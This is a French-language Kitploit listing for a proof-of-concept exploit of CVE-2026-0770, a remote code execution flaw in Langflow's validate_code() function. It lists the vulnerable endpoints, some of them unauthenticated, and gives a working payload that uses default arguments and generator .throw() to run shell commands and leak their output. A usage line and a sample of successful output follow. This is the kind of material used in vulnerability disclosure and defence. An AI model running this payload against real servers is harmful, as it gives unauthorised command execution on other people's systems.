Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0770-PoC — Preuve de concept pour CVE-2026-0770 - Exécution de code à distance dans Langflow | Kitploit
Outils/GitHubGitHub/affix/cve-2026-0770-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCheval de Troie d'Accès à Distance
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

Preuve de concept pour CVE-2026-0770 - Exécution de code à distance dans Langflow

Voir le dépôt
61il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-0770 - Exécution de code à distance dans Langflow

Résumé

Langflow contient une vulnérabilité critique d'exécution de code à distance dans la fonction validate_code() située dans src/lfx/src/lfx/custom/validate.py. La fonction utilise exec() pour exécuter du code Python fourni par l'utilisateur sans sandboxing, permettant l'exécution arbitraire de commandes sur le serveur.

Versions concernées

  • Langflow dernière version (au 7 février 2026)

Autres CVE

Des vulnérabilités similaires ont été identifiées dans des fonctions et points de terminaison associés :

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

Détails de la vulnérabilité

La fonction validate_code() analyse le code fourni par l'utilisateur et exécute les définitions de fonctions à l'aide de exec() :

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- Exécution de code arbitraire

Le contexte exec_globals inclut l'accès à importlib et aux fonctions intégrées de Python, permettant aux attaquants d'importer des modules dangereux (os, subprocess, socket) et d'exécuter des commandes système arbitraires.

Points de terminaison vulnérables

Point de terminaisonAuthentificationVecteur d'attaque
POST /api/v1/validate/codeRequise*Soumission directe de code
POST /api/v1/custom_componentRequise*Code dans la définition du composant
POST /api/v1/custom_component/updateRequise*Code dans la mise à jour du composant
POST /api/v1/webhook/{flow_id}AucuneFlux avec composants de code
POST /api/v1/build_public_tmp/{flow_id}/flowAucuneExécution de flux public

* L'authentification peut être contournée lorsque AUTO_LOGIN=true (la configuration par défaut)

Autres fonctions vulnérables

Les fonctions suivantes dans validate.py utilisent également exec() de manière non sécurisée :

FonctionLigneDescription
validate_code()66Valide le code utilisateur
eval_function()140Évalue les chaînes de fonctions
execute_function()182Exécute des fonctions arbitraires
create_function()227Crée des fonctions à partir de code
create_class()241-442Crée des classes via prepare_global_scope() et build_class_constructor()

Exploitation

L'astuce du générateur avec throw()

La fonction validate_code() n'exécute que les définitions de fonctions, pas les appels de fonctions. Pour obtenir une exécution de code avec exfiltration de la sortie, nous exploitons l'ordre d'évaluation de Python pour les arguments par défaut.

Point clé : Les expressions des arguments par défaut sont évaluées au moment de la définition de la fonction, pas lors de son appel.

root@kitploit:~
def foo(x=print("Je m'exécute immédiatement")):
    pass

Cependant, nous devons exfiltrer la sortie via la réponse HTTP. Le point de terminaison renvoie les erreurs dans le corps de la réponse, nous devons donc lever une exception contenant notre sortie.

Problème : raise est une instruction, pas une expression, elle ne peut donc pas être utilisée directement dans un argument par défaut.

Solution : Utiliser la méthode .throw() d'un générateur, qui lève une exception et EST une expression :

root@kitploit:~
(_ for _ in ()).throw(Exception("sortie ici"))

Cela crée un générateur vide et lève immédiatement une exception. Combiné avec une lambda pour capturer la sortie de la commande :

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"SORTIE:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

Flux d'exécution :

  1. exec() exécute la définition de la fonction
  2. L'argument par défaut _=... est évalué immédiatement
  3. subprocess.run() exécute la commande
  4. La lambda reçoit le résultat et appelle .throw() du générateur
  5. Une exception est levée avec la sortie de la commande
  6. validate_code() la capture et renvoie l'erreur dans la réponse

Utilisation

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

Options

OptionDescription
-t, --targetURL cible (requise)
-c, --commandCommande à exécuter (par défaut : id && whoami)
-k, --tokenJeton JWT (optionnel, utilise la connexion automatique par défaut)

Exemple de sortie (depuis le conteneur Docker langflowai/langflow:latest - 7 février 2026)

root@kitploit:~
[*] Cible : http://localhost:7860
[*] Tentative de connexion automatique (configuration par défaut)...
[+] Connexion automatique réussie !
[*] Exécution : id && whoami && hostname
[+] Statut : 200
[+] Sortie :
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

Références

  • GitHub de Langflow : https://github.com/langflow-ai/langflow
  • Fichier vulnérable : src/lfx/src/lfx/custom/validate.py
Télécharger l’outil